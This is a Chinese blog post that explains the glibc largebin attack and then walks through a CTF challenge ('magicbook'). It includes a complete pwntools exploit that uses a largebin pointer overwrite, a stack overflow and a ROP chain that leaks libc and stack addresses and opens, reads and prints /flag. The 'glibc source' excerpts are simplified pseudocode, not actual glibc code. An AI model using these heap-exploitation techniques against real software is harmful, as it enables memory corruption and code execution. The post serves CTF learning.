常回家看看之largebin_attack

先简单介绍一下什么是largebin

largebin 是 glibc 的 malloc 实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,largebinbin 系列的一部分,用于存储大小超过某个阈值的空闲内存块。largebin 的设计目标是提高内存管理的效率,并减少内存碎片。

简单点就是用来管理较大的堆块的

  • 起始大小:largebin 管理的内存块大小从 smallbin 范围的最大值 + 1 开始。具体来说,smallbin 的最大块大小是 512 字节,因此 largebin 的起始大小是 513 字节。
  • 无上限:largebin 的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的 largebin 中。
  • 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin

largebin和其他bin的区别

  在 largebin 中,每个大块内存块除了标准的双向链表指针 fd(forward)和 bk(backward)外,还包含额外的指针 fd_nextsizebk_nextsize。这些指针的作用如下:

  • fdbk:指向当前链表中前后相邻的内存块,用于维护基本的双向链表。
  • fd_nextsizebk_nextsize:指向按大小排序的前后相邻内存块,用于维护按大小排序的链

作用:

  • fd_nextsize:指向当前内存块大小相同或更大的下一个内存块。
  • bk_nextsize:指向当前内存块大小相同或更小的前一个内存块。

这种结构允许 largebin 维护两条链表:一条是按插入顺序排列的链表(使用 fdbk 指针),另一条是按大小排序的链表(使用 fd_nextsizebk_nextsize 指针)。

Large Bin 的插入顺序:

  • 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
  • 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
  • fd_nextsizebk_nextsize 指针:
  • 对于多个大小相同的堆块,只有第一个块(即首堆块)的 fd_nextsizebk_nextsize 指针指向其他块。
  • 后续相同大小的堆块的 fd_nextsizebk_nextsize 指针均为 0。

循环链表:

  • 大小最大的块的 bk_nextsize 指向大小最小的块。
  • 大小最小的块的 fd_nextsize 指向大小最大的块。

原理:

  • Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (fdbk),还包含指向相同大小块的指针 (fd_nextsizebk_nextsize)。
  • 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
  • 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
  • 攻击者可以通过伪造指针,特别是 bk_nextsize,来控制内存分配器的行为,从而实现任意地址写入。

glibc 源码分析

1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中 mallocfree 操作的相关部分:

void _int_free(mstate av, mchunkptr p) {
// ... other code ... // Determine the bin to use
if (chunk_in_largebin_range(size)) {
// Add to Largebin
mchunkptr bck = largebin[bin_index];
mchunkptr fwd = bck->fd; p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p; // Update nextsize pointers
mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
while (next_chunk != NULL && chunksize(next_chunk) < size) {
next_chunk = next_chunk->fd_nextsize;
}
p->fd_nextsize = next_chunk;
p->bk_nextsize = next_chunk->bk_nextsize;
next_chunk->bk_nextsize = p;
next_chunk->fd_nextsize = p;
} // ... other code ...
}

2. 修改 bk_nextsize

我们需要找到一种方式修改 Largebin 中块的 bk_nextsize 字段。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新块触发攻击

当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的 bk_nextsize 会被用来更新指针,导致任意地址写入。

void* _int_malloc(mstate av, size_t bytes) {
// ... other code ... if (bytes > MAX_SMALLBIN_SIZE) {
// Check Largebin
mchunkptr victim = largebin[bin_index]; if (victim != NULL) {
// Remove from Largebin
mchunkptr bck = victim->bk;
mchunkptr fwd = victim->fd; bck->fd = fwd;
fwd->bk = bck; // Update nextsize pointers
mchunkptr next_chunk = victim->fd_nextsize;
next_chunk->bk_nextsize = victim->bk_nextsize;
victim->bk_nextsize->fd_nextsize = next_chunk; // Allocate the chunk
set_inuse_bit_at_offset(victim, bytes);
return chunk2mem(victim);
}
} // ... other code ...
}

通过上周的比赛题目可以很好的介绍largebin_attack
题目地址:
https://buuoj.cn/match/matches/207/challenges#magicbook

题目保护情况:没有开canary保护

64位ida逆向

存在3个功能,一个一个看

add,申请堆块大小和数量都有限制

free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能

edit,如果book处的地址很大存在栈溢出

沙箱保护

思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6') success('puts--->'+hex(libc.sym['system'])) io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060 def add(size):
io.sendlineafter('Your choice:','1')
io.sendlineafter('your book need?',str(size)) def free0(index,ch,msg):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','y')
io.sendlineafter('you want to write?',str(ch))
io.sendafter('content: ',msg) def free1(index):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','n') def edit():
io.sendlineafter('Your choice:','3') book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863 + elf_base # : pop rdi; ret;
pop_rsi = 0x0000000000001861 + elf_base #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1 #gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0) edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!') pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret;
syscall = 0x0000000000091316 + libc_bass#: syscall; ret;
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read'] payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt)
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload) io.interactive()

总结:

Largebin Attack 利用条件和步骤

利用条件:

  1. 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。

  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:

    • 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1

    • 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。

    • 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1chunk2 紧邻 chunk1

    • 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。

  2. 释放并重新分配:

    • 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。

    • 确保 chunk2 紧邻 chunk1

    • 释放 chunk2 进入 unsortedbin。

  3. 修改指针:

    • 修改 chunk1->bk_nextsizeTarget - 0x20

  4. 触发攻击:

    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。

常回家看看之largebin_attack的更多相关文章

  1. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  2. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  3. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  4. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  5. N1试卷常考词汇总结

    免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...

  6. JavaScript 字符串实用常操纪要

    JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...

  7. C++常考面试题汇总

    c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...

  8. OCP考点实战演练02-日常维护篇

    本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...

  9. c/c++常见面试题

    1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...

  10. flhs笔试题-回家上机实践

    这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...

随机推荐

  1. 面试题一《swift和oc的区别》

    一.来源 这道题来自网上一篇文章<100家公司iOS面试题管理>,这份题目虽然题目质量不高,但是覆盖面比较全,有学习的价值 二.解析 1.swift 比 OC更年轻,这意味着 swift ...

  2. 国产大语言模型ChatGLM3本地搭建、使用和功能扩展

    1.官网 ChatGLM3 2.下载ChatGLM3源码 直接在https://github.com/THUDM/ChatGLM3,下载源码 3.下载模型 如果显卡8G一下建议下载ChatGLM3-6 ...

  3. else if

      // if(){}else if(){}...else{}         // 多种条件,多种情况下的判断语句         // 必须要注意         // 1,else if 之后有 ...

  4. 剑指Offer-57.二叉树的下一个结点(C++/Java)

    题目: 给定一个二叉树和其中的一个结点,请找出中序遍历顺序的下一个结点并且返回.注意,树中的结点不仅包含左右子结点,同时包含指向父结点的指针. 分析: 二叉树的中序遍历是左根右,所以如果一个结点的右子 ...

  5. java.io.File类中分隔符区别

    1.separator File.separator是系统默认的文件分隔符号,在UNIX系统上,这个字段的值是'/';在Microsoft Windows系统上,它是''. 类型:String 2.s ...

  6. 串口收发UART(Verilog HDL)

    UART(Universal Asynchronous Receiver Transmitter,通用异步收发器)是一种异步串行通信协议,主要用于计算机和嵌入式系统之间的数据交换. 实现UART通信的 ...

  7. 一个简单可分享的web数据透视分析

    我推荐一个简单可分享的在线数据透视分析网站,首先看效果: 在线数据透视展示 用户上传一个Excel或csv文件后,把指标拖拽到左右两侧,再选择合适的分析方式,在中间展示区域就会出现分析数据或者图形了, ...

  8. Ansible的常用模块

    目录 ansible常用模块 1. file模块 1.1 file模块的选项 1.2 file模块的使用 1.2.1 使用file模块在远程主机创建文件 1.2.2 创建目录 1.2.3 删除文件/目 ...

  9. Linux 修改 hostname

    背景 之前安装Linux系统的时候,没有明确指定.现在因为在做某些实验的时候,为了更好地区分我所登录的每一台服务器. 于是有了此文. 做法 首先修改/etc/hostname,修改为自己想要的名字xx ...

  10. 嵌入式HLS 案例开发步骤分享——基于Zynq-7010/20工业开发板(1)

    目 录 前 言 3 1 HLS 开发流程说明 5 1.1 HLS 工程导入 5 1.2 编译与仿真 6 1.3 综合 8 1.4 IP 核封装 10 1.5 IP 核测试 14 前 言 本文主要介绍 ...